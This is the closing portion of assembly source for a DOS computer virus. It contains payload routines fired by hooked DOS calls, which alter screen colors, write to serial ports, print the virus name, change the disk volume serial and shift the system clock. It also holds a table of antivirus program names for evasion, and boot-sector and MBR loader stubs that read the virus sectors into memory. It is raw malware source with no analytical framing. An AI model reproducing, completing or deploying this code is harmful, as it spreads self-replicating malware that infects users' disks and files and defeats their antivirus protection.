dododo:
                xor     bx,bx
                xor     cx,cx
                dec     al
                jne     al_bigger_1
                cmp     ah,3dh                  ; open file function
                je      payload_al_1
                cmp     ah,13h                  ; delete file function
                je      payload_al_1
                jmp     fast_retu               ; else don't activate
payload_al_1:
                mov     ax,1010h                ; set bx register to colors
                mov     dh,3fh                  ; in dh,ch,cl
                int     10h

                xor     dh,dh                   ; set bx register to colors
                int     10h                     ; in dh,ch,cl
                jmp     short fast_retu
                nop

al_bigger_1:
                dec     al
                jnz     al_bigger_2

                cmp     ah,0eh                  ; select default drive function
                jne     fast_retu               ; else don't activate

                mov     ax,101bh                ; sum cx color values to gray
		mov	ch,1
                int     10h
                jmp     short fast_retu
		nop

al_bigger_2:
                dec     al
                jnz     al_bigger_3

                cmp     ah,3ah                  ; remove directory function
                jne     fast_retu               ; else don't activate

                mov     ah,10h                  ; set single palette register
		mov	bx,bp
		xor	bx,si
                mov     bl,11h                  ; overscan color register
                int     10h
                jmp     short fast_retu
		nop

al_bigger_3:
                dec     al
                jnz     al_bigger_4

                cmp     ah,40h                  ; write to file function
                jne     fast_retu               ; else don't activate

                mov     cl,2
                mov     dx,2f8h                 ; com2 adress
port_out_loop:
                in      al,dx
                mov     al,0c0h                 ; send this data byte on
                out     dx,al                   ; the first loop to com2
                inc     dh                      ; and on the second to com1
                loop    port_out_loop

al_bigger_4:
		dec	al
                jnz     al_bigger_5

                cmp     ah,5ah                  ; create temporary file
                jne     fast_retu               ; else don't activate
                mov     cl,7                    ; virus name lenght
                mov     si,offset virus_name    ; point at it
print_vname:
                mov     ah,5                    ; write char to printer
                lodsb
                mov     dl,al                   ; char to print
                int     87h                     ; print that
                loop    print_vname

al_bigger_5:
                dec     al
                jnz     al_bigger_6

                mov     ax,440dh                ; ioctl request
                mov     cx,846h                 ; set volume and SN on hd
                mov     dx,offset vol_ser       ; DS:DX DPB to virus new data
                int     87h

al_bigger_6:
                dec     al
                jnz     fast_retu

                mov     ah,2                    ; get system clock
                int     1ah

                mov     ah,3
                inc     cl                      ; increment minutes by one
                int     1ah                     ; set system clock
fast_retu:
                popa
                pop     ds                      ; return from payload routines
                ret

vol_ser:
                db      00h
                db      'GENOCIDEYouthEnergy'

; table for extra track formattation
format_table:
                db      51h, 00h, 01h, 02h
                db      51h, 00h, 02h, 02h
                db      51h, 00h, 03h, 02h
                db      51h, 00h, 04h, 02h
                db      51h, 00h, 05h, 02h
                db      51h, 00h, 06h, 02h
                db      51h, 00h, 07h, 02h
                db      51h, 00h, 08h, 02h
                db      51h, 00h, 09h, 02h

av_strings:
                db       04h,"CHKD"
                db       02h,"F-"
                db       03h,"VIR"
                db       05h,"SCAN "
                db       05h,"CLEAN"
                db       04h,"VSHI"
                db       04h,"ITAV"
                db       04h,"SKUD"
                db       04h,"AVIR"
                db       04h,"MSAV"
                db       04h,"CPAV"
                db       04h,"VSAF"
                db       04h,"VWAT"
                db       03h,"NAV"
                db       03h,"THS"
                db       02h,"TB"
                db       03h,"VI-"
                db       03h,"FLU"
                db       04h,"?ATP"
                db       00h                    ; end of AV and such strings

                db       03h,"DOO"
                db       04h,"WOLF"
                db       03h,"QUA"

                db       00h                    ; two zeros as end of all
                db       00h                    ; strings


; standard starting part for both floppy boot and mbr
generic_boot:
                cli
                xor     ax,ax
                mov     ss,ax
                mov     sp,7c00h                ; set SS:SP as usual
                push    ax
                pop     ds
                push    ds                      ; and make AX=DS=ES=0
                pop     es
                sti
generic_boot_end:

; standard mbr part
mbr_part:
                mov     ax,208h                 ; read 8 virus sectors
                mov     bx,7e00h                ; to 0:7e00h
                mov     cx,4                    ; starting from
                push    cx
                mov     dx,80h
                push    dx                      ; store on stack for later
                int     13h                     ; read sectors
                db      0eah                    ; jump there
                dw      0h,07e0h
mbr_part_end:


; standard floppy boot part
floppy_part:
                mov     ax,208h                 ; read 8 virus sectors
                mov     bx,7e00h                ; to 0:7e00h
                mov     cx,5102h                ; starting from
                push    cx
                xor     dx,dx
                push    dx                      ; store on stack for later
                int     13h                     ; read sectors
infnty:
                jb      infnty
                db      0eah                    ; jump there
                dw      0h,07e0h
floppy_part_end:


; here are the 1ah bytes from the original file
original_file   db      90h,90h,90h
                db      90h
                dw      5 dup (9090h)
original_ss     dw      9090h
original_sp     dw      9090h
                dw      9090h
original_ip     dw      9090h
original_cs     dw      9090h
                dw      9090h

temp_memory     db      200h dup (?)            ; temp space for infactions

check_by        db      00h
fname_dx        dw      00h
fname_ds        dw      00h
payload_byte    db      00h
the_24h         dd      00h
what_call       dw      00h

temp_memend:

seg_a		ends
		end	start





